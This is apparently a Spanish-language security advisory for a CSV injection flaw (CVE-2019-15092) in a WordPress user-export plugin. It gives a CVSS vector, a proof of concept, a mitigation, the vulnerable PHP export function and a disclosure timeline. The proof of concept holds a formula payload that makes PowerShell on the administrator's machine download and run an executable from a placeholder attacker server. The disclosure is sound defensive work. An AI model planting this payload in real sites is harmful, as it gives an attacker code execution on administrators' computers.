CVE-2019-15092 WordPress Plugin Import Export Users = 1.3.0 - CSV Injection
Impacto
Un usuario malicioso con permisos básicos de WordPress (suscriptor) podría ejecutar comandos en el equipo del administrador a través de inyecciones CSV en los campos display_name, first_name y last_name.
CVSS v3.1 Vector
AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Calculadora de puntuación de vulnerabiliad común del NIST
Prueba de concepto (PoC)
- Iniciar sesión con cualquier usuario (suscriptor) y cambiar los campos
nombre,apellidoyaliaspor el payload 💉=cmd|'/C powershell IEX(wget [SERVIDOR-ATACANTE]/shell.exe)'!A0(Este payload ejecuta PowerShell en la máquina del administrador para descargar y ejecutar un archivo desde un servidor malicioso).
Modificación de campos en el panel de usuario de WordPress
Iniciar sesión con usuario administrador y exportar los usuarios mediante el uso del plugin.
Abrir el archivo generado por el plugin, puede observarse el payload insertado en el paso 1.
Archivo CSV generado por el plugin
Mitigación
En el momento de generar el archivo CSV, verificar que ningún campo comience con los siguientes caracteres:
- Igual (=)
- Mas (+)
- Menos (-)
- Arroba (@)
Código vulnerable
La función do_export() de la clase WF_CustomerImpExpCsv_Exporter no comprueba si el primer carácter de los campos coincide con (=, +, -, @)
public static function do_export() {
global $wpdb;
$export_limit = !empty($_POST['limit']) ? intval($_POST['limit']) : 999999999;
$export_offset = !empty($_POST['offset']) ? intval($_POST['offset']) : 0;
$csv_columns = include( 'data/data-wf-post-columns.php' );
$user_columns_name = !empty($_POST['columns_name']) ? $_POST['columns_name'] : $csv_columns;
$export_columns = !empty($_POST['columns']) ? $_POST['columns'] : array();
$export_user_roles = !empty($_POST['user_roles']) ? $_POST['user_roles'] : array();
$delimiter = !empty($_POST['delimiter']) ? $_POST['delimiter'] : ',';
$wpdb->hide_errors();
@set_time_limit(0);
if (function_exists('apache_setenv'))
@apache_setenv('no-gzip', 1);
@ini_set('zlib.output_compression', 0);
@ob_end_clean();
header('Content-Type: text/csv; charset=UTF-8');
header('Content-Disposition: attachment; filename=Customer-Export-' . date('Y_m_d_H_i_s', current_time('timestamp')) . ".csv");
header('Pragma: no-cache');
header('Expires: 0');
$fp = fopen('php://output', 'w');
$args = array(
'fields' => 'ID', // exclude standard wp_users fields from get_users query -> get Only ID##
'role__in' => $export_user_roles, //An array of role names. Matched users must have at least one of these roles. Default empty array.
'number' => $export_limit, // number of users to retrieve
'offset' => $export_offset // offset to skip from list
);
$users = get_users($args);
// Variable to hold the CSV data we're exporting
$row = array();
// Export header rows
foreach ($csv_columns as $column => $value) {
$temp_head = esc_attr($user_columns_name[$column]);
if (!$export_columns || in_array($column, $export_columns))
$row[] = $temp_head;
}
$row = array_map('WF_CustomerImpExpCsv_Exporter::wrap_column', $row);
fwrite($fp, implode($delimiter, $row) . "\n");
unset($row);
ini_set('max_execution_time', -1);
ini_set('memory_limit', -1);
// Loop users
foreach ($users as $user) {
//$row = array();
$data = WF_CustomerImpExpCsv_Exporter::get_customers_csv_row($user, $export_columns, $csv_columns);
$row = array_map('WF_CustomerImpExpCsv_Exporter::wrap_column', $data);
fwrite($fp, implode($delimiter, $row) . "\n");
unset($row);
unset($data);
}
fclose($fp);
exit;
}
TIME LINE
- 15, agosto 2019 – 👨💻 Descubierta
- 15, agosto 2019 – 👨💻 Reportado al soporte de Webtoffee
- 16, agosto 2019 – 👨💼 Solicitud de más información
- 16, agosto 2019 – 👨💻 Reporte detallado de vulnerabilidad
- 19, agosto 2019 – 👨💼 No reconocida la vulnerabilidad
- 22, agosto 2019 – 👨💻 Divulgación pública




